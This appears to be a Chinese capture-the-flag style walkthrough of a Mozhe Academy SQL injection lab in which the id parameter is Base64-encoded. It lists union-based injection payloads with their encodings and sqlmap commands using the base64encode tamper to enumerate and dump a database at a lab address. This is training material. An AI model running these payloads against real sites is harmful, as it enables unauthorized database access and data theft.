墨者:SQL注入实战-MySQL

1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper 插件的使用;

目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具 :需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

sql 复制代码
1 order by 3

Base64编码:

复制代码
MSBvcmRlciBieSAz

4.2 确定回显位⚡

sql 复制代码
1 and 1=2 union select 1,2

sql 复制代码
-1 union select 1,2

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=

LTEgdW5pb24gc2VsZWN0IDEsMg==

4.3 获取数据库信息⚡

sql 复制代码
1 and 1=2 union select database(),version()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

4.4 获取系统信息⚡

sql 复制代码
1 and 1=2 union select @@version_compile_os,user()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

4.5 爆表名⚡

sql 复制代码
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

4.6 爆列名⚡

sql 复制代码
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

4.7 获取数据⚡

sql 复制代码
1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

5.2 获取test库的表⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

5.3 获取data表的列⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

5.4 导出数据⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

5.5 清理缓存⚡

bash 复制代码
python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

bash 复制代码
python sqlmap.py -h

5.6 参数说明表⭐

参数 作用
--dbs 枚举所有数据库
-D test 指定目标数据库
--tables 枚举表名
-T data 指定目标表
--columns 枚举列名
--dump 导出数据
--tamper=base64encode 自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
马克Markorg8 小时前
常见的向量数据库和具有向量数据库能力的数据库
数据库
Coder_Boy_10 小时前
技术让开发更轻松的底层矛盾
java·大数据·数据库·人工智能·深度学习
helloworldandy10 小时前
使用Pandas进行数据分析:从数据清洗到可视化
jvm·数据库·python
数据知道12 小时前
PostgreSQL 故障排查:如何找出数据库中最耗时的 SQL 语句
数据库·sql·postgresql
qq_124987075312 小时前
基于SSM的动物保护系统的设计与实现(源码+论文+部署+安装)
java·数据库·spring boot·毕业设计·ssm·计算机毕业设计
枷锁—sha12 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
Coder_Boy_12 小时前
基于SpringAI的在线考试系统-考试系统开发流程案例
java·数据库·人工智能·spring boot·后端
Gain_chance12 小时前
35-学习笔记尚硅谷数仓搭建-DWS层最近n日汇总表及历史至今汇总表建表语句
数据库·数据仓库·hive·笔记·学习
此生只爱蛋13 小时前
【Redis】主从复制
数据库·redis
马猴烧酒.13 小时前
【面试八股|JAVA多线程】JAVA多线程常考面试题详解
java·服务器·数据库